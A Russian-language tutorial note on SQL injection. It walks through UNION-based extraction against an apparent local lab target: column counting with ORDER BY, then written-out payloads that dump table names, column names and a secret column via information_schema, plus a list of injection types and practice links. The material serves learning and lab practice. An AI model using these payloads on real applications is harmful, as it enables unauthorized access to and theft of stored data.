# SQL-инъекции

Позволяет вмешиваться в запросы, которые приложение делает к своей базе данных. В частности, могут приводить к:

- Извлечению данных и возможности исследования базы данных
- Модификации информации в базе данных (удалению, добавлению, изменению)
- Обходу логики
- Обходу механизмов авторизации и аутентификации
- Чтению файлов ОС
- Выполнению команд ОС
- Отказу в обслуживании

Показателем наличия инъекции могут являться ошибки, вызванные наличием управляющих символов (' " \\).

**Комбинирование запросов:**

Необходимо в следующем запросе получить такое же количество колонок. Поэтому сначала нужно узнать количество колонок. Используется технология добавления в запрос ORDER BY 1 то есть сортировка по номеру колонки. При ошибке понимаем количество колонок.

Например 8 колонок. Далее при запросе UNION SELECT 1.2.3.4.5.6.7.8 получим какой столбец попадает в какое поле формы. Затем вместо нужной цифры можно подставить нужный запрос,

Стоит ставить символ комментария после строки запроса -- -

```bash
http://192.168.1.199:1337/receipt.php?orderID=-1 union select 1,2,3,4,5,6,7,8 -- -
```

Цифра 5 попала в поле Comments. Поэтому попробуем вывести в это поле название таблицы.

```
-1 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables -- -
```

Объединение данных в одно поле возможно сделать за счет group\_concat

```
-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.tables -- -
```

Столбцы в таблице

```
-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.columns WHERE table_name='secret_table' -- -
```

Получение данных из таблицы

```
-1 UNION SELECT 1,2,3,4,secret_column,6,7,8 FROM secret_table -- -
```

**Примеры SQL-инъекций:**

- Stacked queries — выполнение несколько запросов за один раз.
- Union-based — использование оператора UNION для объединения результатов двух запросов, что позволяет извлекать данные из других таблиц.
- Error-based — инъекция, основанная на ошибке, которая может возникнуть при выполнении запроса, что позволяет получать информацию об уязвимости.
- Boolean blind — используются булевы выражения для проверки наличия или отсутствия определенных данных в базе данных.
- Time-based — инъекция, которая использует задержку выполнения запроса для получения информации о базе данных.
- Out of band — инъекция, которая не взаимодействует с сайтом напрямую, а использует другой канал для передачи данных, например, отправку электронной почты или HTTP-запросов.

Дополнительная информация

- [База знаний по возможностям в языке SQL разных СУБД ](https://websec.ca/kb/sql_injection)
- [Wiki по инъекциям SQL](https://sqlwiki.netspi.com/)
- [PayloadsAllTheThings - SQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
- [PayloadsAllTheThings - NoSQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [OWASP NoSQL injection slides](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf)
- [PortSwigger - SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
- [SQLMap - Инструмент автоматизации](https://xakep.ru/2011/12/06/57950/)

Практика:

- [Навыки работы с SQL](https://www.sql-ex.ru/?Lang=0)
- [Для начинающих](https://portswigger.net/web-security/sql-injection)
- [Для того, чтобы попрактиковаться в более сложных кейсах](https://www.root-me.org/ru/Zadachi-i-problemy/Veb-server/) (Ищем "SQL" в названии задач)